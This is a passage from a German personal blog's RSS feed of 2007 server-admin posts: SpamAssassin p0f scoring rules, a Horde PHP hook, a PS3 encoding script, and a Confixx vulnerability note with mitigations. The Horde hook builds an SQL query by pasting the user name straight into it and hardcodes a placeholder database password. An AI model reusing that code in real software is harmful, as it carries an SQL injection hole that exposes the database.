header L_P0F_D_1_4 X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>\bdistance <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">1</span>-<span style="color: #000000;">4</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>?<span style="color: #000000; font-weight: bold;">!</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span>-<span style="color: #000000;">9</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">/</span>
header L_P0F_D_5_7 X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>\bdistance <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">5</span>-<span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>?<span style="color: #000000; font-weight: bold;">!</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span>-<span style="color: #000000;">9</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">/</span>
header L_P0F_D_8_10 X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>\bdistance <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">8</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">9</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">10</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>?<span style="color: #000000; font-weight: bold;">!</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span>-<span style="color: #000000;">9</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">/</span>
header L_P0F_D_10_20 X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>\bdistance <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">10</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">11</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">12</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">13</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">14</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">15</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">16</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">17</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">18</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">19</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">20</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">/</span>
&nbsp;
score  L_P0F_D_1_4 -<span style="color: #000000;">0.7</span>
score  L_P0F_D_5_7 -<span style="color: #000000;">0.5</span>
score  L_P0F_D_8_10 <span style="color: #000000;">0.3</span>
score  L_P0F_D_10_20 <span style="color: #000000;">0.5</span></pre></div></div>

<p>Ich habe die Scores angepasst und auch die Distance Intervalle. [5-6] und [7-9] war wohl nicht optimal gewählt. Eigentlich müsste man die Windowsversionen genauer unterscheiden.  Leider ist das anhand des P0F outputs kaum möglich. </p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/10/p0f-fur-amavisd-new-unter-gentoo-teil-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>p0f für amavisd-new unter Gentoo</title>
		<link>http://christian.samsel.name/2007/10/p0f-fur-amavisd-new-unter-gentoo/</link>
		<comments>http://christian.samsel.name/2007/10/p0f-fur-amavisd-new-unter-gentoo/#comments</comments>
		<pubDate>Sun, 30 Sep 2007 23:05:46 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Rootserver]]></category>
		<category><![CDATA[amavisd-new]]></category>
		<category><![CDATA[p0f]]></category>
		<category><![CDATA[spamassassin]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/10/p0f-fur-amavisd-new-unter-gentoo/</guid>
		<description><![CDATA[p0f ist ein Programm das passiv bei einer TCP-Verbindung das Betriebsystem des anderen Rechners erkennt. Es besteht offensichtlich ein Zusammenhang zwischen Betriebsystem des Rechners der eMails einliefert und der Spamwahrscheinlichkeit. amavisd-new kann sich dies mit Hilfe von p0f zu nutze machen. Hier eine Anleitung zur Einrichtung unter Gentoo. Ich geh davon aus, dass amavisd-new bereits [...]]]></description>
			<content:encoded><![CDATA[<p>p0f ist ein Programm das passiv bei einer TCP-Verbindung das Betriebsystem des anderen Rechners erkennt. Es besteht offensichtlich ein Zusammenhang zwischen Betriebsystem des Rechners der eMails einliefert und der Spamwahrscheinlichkeit. amavisd-new kann sich dies mit Hilfe von p0f zu nutze machen.<br />
Hier eine Anleitung zur Einrichtung unter Gentoo. Ich geh davon aus, dass amavisd-new bereits komplett eingerichtet ist.</p>
<p>Erstmal braucht man die aktuelleste amavisd-new Version und p0f (stable reicht):</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;mail-filter/amavisd-new ~x86&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>portage<span style="color: #000000; font-weight: bold;">/</span>package.keywords
emerge <span style="color: #660033;">-u</span> net-analyzer<span style="color: #000000; font-weight: bold;">/</span>p0f  mail-filter<span style="color: #000000; font-weight: bold;">/</span>amavisd-new</pre></div></div>

<p><span id="more-111"></span><br />
Sobald beides installiert ist, startet man p0f-analyzer:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">p0f <span style="color: #660033;">-l</span> <span style="color: #ff0000;">'tcp dst port 25'</span> <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">|</span> p0f-analyzer.pl <span style="color: #000000;">2345</span> <span style="color: #000000; font-weight: bold;">&amp;</span></pre></div></div>

<p>Jetzt muss p0f in der /etc/amavisd.conf aktiviert werden, dazu folgende Zeile auskommentieren (Zeile ~115):</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #007800;">$os_fingerprint_method</span> = <span style="color: #ff0000;">'p0f:127.0.0.1:2345'</span>;  <span style="color: #666666; font-style: italic;"># query p0f-analyzer.pl</span></pre></div></div>

<p>Jetzt fehlt nur noch ein Regelsatz für SpamAssassin. Einfach eine Datei /etc/spamasassin/p0f.cf mit folgendem Inhalt erstellen und bei Bedarf anpassen:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">header L_P0F_OS_WINDOWSXP   X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>^Windows XP<span style="color: #000000; font-weight: bold;">/</span>
score  L_P0F_OS_WINDOWSXP   <span style="color: #000000;">3.5</span>
header L_P0F_OS_WINDOWS_OTHER X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>^Windows<span style="color: #7a0874; font-weight: bold;">&#40;</span>?<span style="color: #000000; font-weight: bold;">!</span> XP<span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">/</span>
score  L_P0F_OS_WINDOWS_OTHER <span style="color: #000000;">1.7</span>
header L_P0F_OS_UNKOWN  X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>^UNKNOWN<span style="color: #000000; font-weight: bold;">/</span>
score  L_P0F_OS_UNKOWN  <span style="color: #000000;">0.8</span>
header L_P0F_OS_LINUX  X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>^Linux<span style="color: #000000; font-weight: bold;">/</span>
score  L_P0F_OS_LINUX  -<span style="color: #000000;">0.3</span>
header L_P0F_OS_UNIX  X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>^<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>Free<span style="color: #000000; font-weight: bold;">|</span>Open<span style="color: #000000; font-weight: bold;">|</span>Net<span style="color: #7a0874; font-weight: bold;">&#41;</span>BSD<span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">|</span>Solaris<span style="color: #000000; font-weight: bold;">|</span>HP-UX<span style="color: #000000; font-weight: bold;">|</span>Tru64<span style="color: #000000; font-weight: bold;">/</span>
score  L_P0F_OS_UNIX  -<span style="color: #000000;">1.0</span>
&nbsp;
header L_P0F_D_1_4 X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>\bdistance <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">1</span>-<span style="color: #000000;">4</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>?<span style="color: #000000; font-weight: bold;">!</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span>-<span style="color: #000000;">9</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">/</span>
header L_P0F_D_5_6 X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>\bdistance <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">5</span>-<span style="color: #000000;">6</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>?<span style="color: #000000; font-weight: bold;">!</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span>-<span style="color: #000000;">9</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">/</span>
header L_P0F_D_7_9 X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>\bdistance <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">7</span>-<span style="color: #000000;">9</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>?<span style="color: #000000; font-weight: bold;">!</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span>-<span style="color: #000000;">9</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">/</span>
header L_P0F_D_15_25 X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>\bdistance <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">15</span>-<span style="color: #000000;">25</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>?<span style="color: #000000; font-weight: bold;">!</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span>-<span style="color: #000000;">9</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">/</span>
&nbsp;
score  L_P0F_D_1_4 -<span style="color: #000000;">0.7</span>
score  L_P0F_D_5_6 -<span style="color: #000000;">0.5</span>
score  L_P0F_D_7_9 -<span style="color: #000000;">0.3</span>
score  L_P0F_D_15_25 <span style="color: #000000;">0.3</span></pre></div></div>

<p>Der erste Block vergibt Punkte anhand des Betriebsystems, der zweite Block anhand der &#8220;Entfernung&#8221; sprich der Hops zum einliefernden Host.</p>
<p>Quelle:<a href="http://mail-archives.apache.org/mod_mbox/spamassassin-users/200604.mbox/%3C200604121239.22708.Mark.Martinec+sa@ijs.si%3E">http://mail-archives.apache.org/m&#8230;.Mark.Martinec+sa@ijs.si%3E</a><br />
Weitere Infos: <a href="http://lcamtuf.coredump.cx/p0f.shtml">http://lcamtuf.coredump.cx/p0f.shtml</a>, <a href="http://www.ijs.si/software/amavisd/">http://www.ijs.si/software/amavisd/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/10/p0f-fur-amavisd-new-unter-gentoo/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Blog Update 10/2007</title>
		<link>http://christian.samsel.name/2007/09/blog-update-102007/</link>
		<comments>http://christian.samsel.name/2007/09/blog-update-102007/#comments</comments>
		<pubDate>Fri, 28 Sep 2007 20:41:15 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Blog / Website]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/09/blog-update-102007/</guid>
		<description><![CDATA[So. Habe an einigen Stellen das Blog verbessert. Die Neuigkeiten im Überblick: wp_syntax Plugin installiert, jetzt sehen Code-Schnippsel endlich ordentlich aus. Update auf WordPress 2.3, Plugins aktualisiert. gültiges XHTML 1.1 / CSS. mod_deflate aktiviert. EDIT: Außerdem hab ich dem Planet noch ein paar Feeds hinzugefügt.]]></description>
			<content:encoded><![CDATA[<p>So. Habe an einigen Stellen das Blog verbessert. Die Neuigkeiten im Überblick:</p>
<ul>
<li>wp_syntax Plugin installiert, jetzt sehen Code-Schnippsel endlich ordentlich aus.</li>
<li>Update auf WordPress 2.3, Plugins aktualisiert.</li>
<li>gültiges XHTML 1.1 / CSS.</li>
<li>mod_deflate aktiviert.</li>
<li><em>EDIT:</em> Außerdem hab ich dem Planet noch ein paar Feeds hinzugefügt.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/09/blog-update-102007/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Horde Absenderadressen aus Confixx auslesen</title>
		<link>http://christian.samsel.name/2007/09/horde-absenderadressen-aus-confixx-auslesen/</link>
		<comments>http://christian.samsel.name/2007/09/horde-absenderadressen-aus-confixx-auslesen/#comments</comments>
		<pubDate>Sun, 23 Sep 2007 15:15:19 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Rootserver]]></category>
		<category><![CDATA[confixx]]></category>
		<category><![CDATA[horde]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/09/horde-absenderadressen-aus-confixx-auslesen/</guid>
		<description><![CDATA[Der Horde Framework bzw. Horde/IMP ist ein sehr mächtiger Webmailer. Standardmäßig können Benutzer in den persönlichen Einstellungen eine beliebige Absenderadressen für ihre eMails einstellen. Das ist in einer Shared-Hosting Umgebung natürlich nicht sinnvoll. Jedoch kann man bei Horde für fast alle Einstellungen und Optionen sogenannte Hooks einstellen die die entsprechenden Felder ausfüllen. In diesem Fall [...]]]></description>
			<content:encoded><![CDATA[<p>Der Horde Framework bzw. Horde/IMP ist ein sehr mächtiger Webmailer. Standardmäßig können Benutzer in den persönlichen Einstellungen eine beliebige Absenderadressen für ihre eMails einstellen. Das ist in einer Shared-Hosting Umgebung natürlich nicht sinnvoll. Jedoch kann man bei Horde für fast alle Einstellungen und Optionen sogenannte Hooks einstellen die die entsprechenden Felder ausfüllen. In diesem Fall soll die Absenderadresse aus der Confixxdatenbank anhand des POP3/IMAP Kontos gehohlt werden.<br />
Eine funktionsfähige Horde/IMP Installation setzte ich mal Vorraus. Die Anleitung bezieht sich auf Horde 3.1.4 und IMP 4.1.4.<br />
<span id="more-109"></span><br />
Zuerst wird folgende Funktion in die Datei <em>horde/hooks.php</em> eingefügt:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'_prefs_hook_from_addr'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
     <span style="color: #000000; font-weight: bold;">function</span> _prefs_hook_from_addr<span style="color: #009900;">&#40;</span><span style="color: #000088;">$user</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
     <span style="color: #666666; font-style: italic;">// Confixx Datenbank Passwort ändern</span>
     <span style="color: #000088;">$dbserver</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'localhost'</span><span style="color: #339933;">;</span> <span style="color: #000088;">$dbuser</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'confixx'</span><span style="color: #339933;">;</span> <span style="color: #000088;">$passw</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'ABCDE'</span><span style="color: #339933;">;</span>
     <span style="color: #000088;">$link</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_connect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dbserver</span><span style="color: #339933;">,</span><span style="color: #000088;">$dbuser</span><span style="color: #339933;">,</span><span style="color: #000088;">$passw</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #990000;">mysql_select_db</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'confixx'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #000088;">$query_from</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;SELECT prefix,domain FROM email_forward INNER JOIN email on email_forward.email_ident = email.ident WHERE `pop3` = '&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$user</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;'&quot;</span><span style="color: #339933;">;</span>
     <span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_array</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$query_from</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
     <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;*&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$from_email</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;catchall@&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
     <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$from_email</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;@&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
     <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$from_email</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;mail-admin@&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
     <span style="color: #990000;">mysql_free_result</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #990000;">mysql_close</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
     <span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$from_email</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$user</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$from_email</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Jetzt muss der Hook noch aktiviert werden. Dazu muss in der Datei <em>horde/prefs.php</em> der Block für from_addr so aussehen:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$_prefs</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'from_addr'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
    <span style="color: #0000ff;">'value'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span>
    <span style="color: #0000ff;">'locked'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span>
    <span style="color: #0000ff;">'shared'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span>
    <span style="color: #0000ff;">'type'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'text'</span><span style="color: #339933;">,</span>
    <span style="color: #0000ff;">'hook'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span>
    <span style="color: #0000ff;">'desc'</span> <span style="color: #339933;">=&gt;</span>  _<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Your From: address:&quot;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Damit wird der Hook aktiviert (&#8216;hook&#8217; => true) und die Veränderung der Variable verhindert (&#8216;locked&#8217; => true).<br />
Viel Spaß</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/09/horde-absenderadressen-aus-confixx-auslesen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Videos für die PS3 neukodieren (linux)</title>
		<link>http://christian.samsel.name/2007/09/videos-fur-die-ps3-neukodieren/</link>
		<comments>http://christian.samsel.name/2007/09/videos-fur-die-ps3-neukodieren/#comments</comments>
		<pubDate>Mon, 17 Sep 2007 18:32:57 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Hardware / Gadgets]]></category>
		<category><![CDATA[mencoder]]></category>
		<category><![CDATA[ps3]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/09/videos-fur-die-ps3-neukodieren/</guid>
		<description><![CDATA[Leider kann die Playstation 3 keine MPEG4-ASP (DivX, XviD) Dateien wiedergeben. Stattdessen aber MPEG4 AVC, welches eine bessere Bildqualität bei gleicher Bitrate erreicht. Durch den Aufruf wird die Datei nach MPEG4-AVC Video (Bitrate 1500 kbit/s) mit AAC Audio (Bitrate 128 kbit/s) umgewandelt. Eine 2-stündiger Film ist dann ca. 1,5 GB groß. AC3/DTS Sound wird leider [...]]]></description>
			<content:encoded><![CDATA[<p>Leider kann die Playstation 3 keine MPEG4-ASP (DivX, XviD) Dateien wiedergeben. Stattdessen aber MPEG4 AVC, welches eine bessere Bildqualität bei gleicher Bitrate erreicht.</p>
<p>Durch den Aufruf wird die Datei nach MPEG4-AVC Video (Bitrate 1500 kbit/s) mit AAC Audio (Bitrate 128 kbit/s) umgewandelt. Eine 2-stündiger Film ist dann ca. 1,5 GB groß. AC3/DTS Sound wird leider auf 2 Kanäle zusammen gemischt. MPEG4 AVC Dateien können keine AC3 oder DTS Tonspur haben, nur AAC ist möglich. AAC kann zwar 6 Kanäle speichern, aber fast kein AV-Receiver kann AAC empfangen, weshalb die PS3 sowieso nur 2 Kanal PCM ausgibt. </p>
<p>Eine Lösung zum behalten der AC3 Tonspur suche ich noch. Bis jetzt leider ohne Erfolg.<br />
<span id="more-108"></span><br />
Mit folgendem Script kann man eine entsprechende Datei umwandeln.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
&nbsp;
mencoder $<span style="color: #000000;">1</span> <span style="color: #660033;">-quiet</span> <span style="color: #660033;">-ovc</span> x264 <span style="color: #660033;">-oac</span> faac \
<span style="color: #660033;">-x264encopts</span> <span style="color: #007800;">subq</span>=<span style="color: #000000;">6</span>:<span style="color: #007800;">pass</span>=<span style="color: #000000;">1</span>:<span style="color: #007800;">bitrate</span>=<span style="color: #000000;">1500</span>:<span style="color: #007800;">bframes</span>=<span style="color: #000000;">3</span>:\
<span style="color: #007800;">partitions</span>=p8x8,b8x8,i4x4:weight_b:<span style="color: #007800;">threads</span>=auto:nopsnr:nossim:\
<span style="color: #007800;">frameref</span>=<span style="color: #000000;">3</span>:mixed_refs:bime:brdo:<span style="color: #007800;">level_idc</span>=<span style="color: #000000;">41</span>:<span style="color: #007800;">direct_pred</span>=auto:\
<span style="color: #007800;">trellis</span>=<span style="color: #000000;">1</span> \
<span style="color: #660033;">-faacopts</span> <span style="color: #007800;">br</span>=<span style="color: #000000;">128</span>:<span style="color: #007800;">mpeg</span>=<span style="color: #000000;">4</span> \
<span style="color: #660033;">-of</span> lavf <span style="color: #660033;">-o</span> <span style="color: #ff0000;">&quot;$1.mp4&quot;</span></pre></div></div>

<p>Nötig dazu ist mplayer mit A52, x264, FAAC und encoding Support. Unter Gentoo kann man das mit</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">euse <span style="color: #660033;">--enable</span> a52 dts aac x264 encode; emerge <span style="color: #660033;">-uN</span> <span style="color: #c20cb9; font-weight: bold;">mplayer</span></pre></div></div>

<p>erreichen. Auf neueren Rechner (Core 2 Duo z.B.) empfiehlt sich zusätzlich noch:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">euse <span style="color: #660033;">--enable</span> sse sse2 ssse3</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/09/videos-fur-die-ps3-neukodieren/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Confixx &lt;= PRO 3.3.1 Remote File Inclusion Vulnerability</title>
		<link>http://christian.samsel.name/2007/07/confixxpro-331-remote-file-inclusion-vulnerability/</link>
		<comments>http://christian.samsel.name/2007/07/confixxpro-331-remote-file-inclusion-vulnerability/#comments</comments>
		<pubDate>Tue, 24 Jul 2007 17:04:39 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Rootserver]]></category>
		<category><![CDATA[confixx]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/07/confixx/</guid>
		<description><![CDATA[zu lesen unter: http://xpkzxc.com/exploits/confixx.txt. Die Lücke lässt sich aber leicht schließen. z.B. mit folgender /var/www/confixx/html/admin/business_inc/.htaccess (Pfad muss möglicherweise angepasst werden): deny from all Außerdem verwendet Confixx folgende PHP Einstellungen für seinen VHost: php_admin_value allow_url_fopen off php_admin_value open_basedir /var/www/confixx damit ist die Gefahr nicht sonderlich groß. Apropos Confixx: Falls ihr Probleme bei hinzufügen von SSL Zertifikaten [...]]]></description>
			<content:encoded><![CDATA[<p>zu lesen unter: <a href="http://xpkzxc.com/exploits/confixx.txt">http://xpkzxc.com/exploits/confixx.txt</a>.  </p>
<p>Die Lücke lässt sich aber leicht schließen. z.B. mit folgender <em>/var/www/confixx/html/admin/business_inc/.htaccess</em> (Pfad muss möglicherweise angepasst werden):</p>

<div class="wp_syntax"><div class="code"><pre class="apache" style="font-family:monospace;"><span style="color: #00007f;">deny</span> <span style="color: #00007f;">from</span> <span style="color: #00007f;">all</span></pre></div></div>

<p><span id="more-107"></span><br />
Außerdem verwendet Confixx folgende PHP Einstellungen für seinen VHost:</p>

<div class="wp_syntax"><div class="code"><pre class="apache" style="font-family:monospace;"><span style="color: #00007f;">php_admin_value</span> allow_url_fopen <span style="color: #0000ff;">off</span> 
<span style="color: #00007f;">php_admin_value</span> open_basedir /var/www/confixx</pre></div></div>

<p>damit ist die Gefahr nicht sonderlich groß.</p>
<p>Apropos Confixx: Falls ihr Probleme bei hinzufügen von SSL Zertifikaten habt: <a href="http://forum.swsoft.com/showthread.php?s=&#038;threadid=45385">http://forum.swsoft.com/showthread.php?s=&#038;threadid=45385</a>.</p>
<p>UPDATE: Jetzt auch auf <a href="http://www.heise.de/newsticker/meldung/93627">heise.de</a></p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/07/confixxpro-331-remote-file-inclusion-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iwlwifi unter Gentoo</title>
		<link>http://christian.samsel.name/2007/06/iwlwifi-unter-gentoo/</link>
